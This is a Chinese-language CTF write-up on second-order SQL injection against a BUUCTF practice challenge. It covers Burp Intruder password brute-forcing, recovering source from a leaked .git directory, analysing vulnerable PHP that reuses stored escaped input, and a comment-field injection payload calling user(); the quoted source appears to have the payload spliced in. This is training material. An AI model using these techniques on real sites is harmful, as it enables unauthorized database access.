sql二次注入实战--2018年网顶杯

server/2024/12/22 9:16:17/

网址:BUUCTF在线评测 (buuoj.cn)

当我们进入后显示这个页面:

当我们第一次点击发帖的时候就会跳转到登陆页面,上面有提示,告诉我们账号为zhangwei,密码为zhangwei***:

这里我们可以使用bp抓包工具来进行暴力破解密码:bp工具的基本使用大家可以上网查一下。

使用bp的intruder模块进行简单的密码暴力破解,最终破解出的密码为zhangwei666

之后使用该密码进行登陆:
对网站进行观察:该网站存在发帖和留言的功能。

我们需要对该网站的源码进行分析,这里还隐藏了一个.git的文件泄露,我们可以使用githacker工具获取源码。可以去github上面去选择一个来使用:

最后我们得到的源码为:
//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',     ',content= user(),/*
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

找注入点:

        对源代码进行分析,当我们发帖的的时候,执行的动作为write;

        当我们对帖子进行留言的时候就会执行comment动作。

在执行write动作的时候,我们发现这里使用了addslashes函数对我们的输入进行了过滤,该函数具有转义的作用,但是在数据入库的时候,mysql会将转义符过滤存入数据库中。

当执行comment动作(留言)的时候,它会从数据库中直接将category值取出来使用而没有进行过滤,所以注入点就在这里。

构建payload:       

insert into commentset category = ' dd',content=user(),/*',content = '*/#',bo_id = '$bo_id'";

第一步:在发帖功能中构建payload

      

第二步:

进入新建的帖子中,进行留言。

提交之后我们就可以发现注入出了当前用户:

到此我们就成功的找到了该网站的注入点,我们只需要利用该注入点进行下一步注入即可。为典型的二次注入。

        


http://www.ppmy.cn/server/96514.html

相关文章

出现 No mapping for DELETE/GET等

出现 No mapping for DELETE/GET等 错误一&#xff1a;请求url不对 修改前 如下图可知后端请求url为http://localhost:8080/user/addressBook 运行后控制台出现 发现后端请求url比前端请求url少了/ 改正&#xff1a; 在DeleteMapping后面加上 / DeleteMapping("/&quo…

深入解读 Scrapy 框架原理与源码

&#x1f6e0;️ Scrapy 框架原理解读 Scrapy 是一个强大的 Python 爬虫框架&#xff0c;其设计理念基于事件驱动的异步编程&#xff0c;通过高度模块化的方式实现爬虫功能。Scrapy 框架的核心组成包括爬虫&#xff08;Spider&#xff09;、调度器&#xff08;Scheduler&#…

IP SSL证书的具体申请方式

IP作为网络访问的基础&#xff0c;是日常访问网站中常用的访问方式。为了方便记忆很多IP都会额外绑定或指向某个域名&#xff0c;以数字字母的形式方便记忆。 但是IP确是基础访问的前提条件&#xff0c;类似于政务服务系统、高校内部的系统&#xff0c;在域名无法满足使用的情…

Langchain核心模块与实战[9]:RAG检索增强生成[文本向量化、实战ChatDoc智能文档助手]

Langchain核心模块与实战[9]:RAG检索增强生成[文本向量化、实战ChatDoc智能文档助手] 参考文章可以使用国产LLM进行下述项目复现: 初识langchain[1]:Langchain实战教学,利用qwen2.1与GLM-4大模型构建智能解决方案[含Agent、tavily面向AI搜索]langchain[2]:Langchain实战教…

C++速学day1

抽象 数据抽象 功能抽象 即抽象出对某些东西的共性&#xff0c;比如说人的名字&#xff0c;性别&#xff0c;年龄&#xff0c;人的行为&#xff0c;吃饭&#xff0c;走路&#xff0c;工作学习之类。用C的函数来表达。对同一个研究对象&#xff0c;由于研究的问题侧重点…

CSS3中的3D变换

CSS3中的3D变换&#xff08;3D Transformations&#xff09;允许我们在网页中创建3D效果的元素。它提供了一系列的属性和方法&#xff0c;可以将元素沿x、y和z轴进行移动、旋转、缩放和倾斜。 以下是CSS3中常用的3D变换属性&#xff1a; 1. transform-style&#xff1a;定义了…

HCIP笔记4-OSPF(2)

OSPF2: OSPF的不规则区域 1.远离骨干的非骨干区域 1)不连续骨干 由于区域水平分割&#xff08;从一区域来的路由不能回到该区域&#xff09;导致的两个骨干拿不到对方的路由 解决方案&#xff1a; 2)tunnel---点到点GRE 在合法与非合法ABR间建立隧道&#xff0c;然后将其…

tls.go中的流程梳理

文章目录 tls.go中的流程梳理b站博主的 tls 加密过程自己推理的过程(未完待续)发送ClientHello获取ServerHello tls.go中的流程梳理 b站博主的 tls 加密过程 客户端发送ClentHello(tls版本 加密套件 随机数1)服务器发送ServerHello(tls版本 加密套件 随机数2) 这个阶段之后&…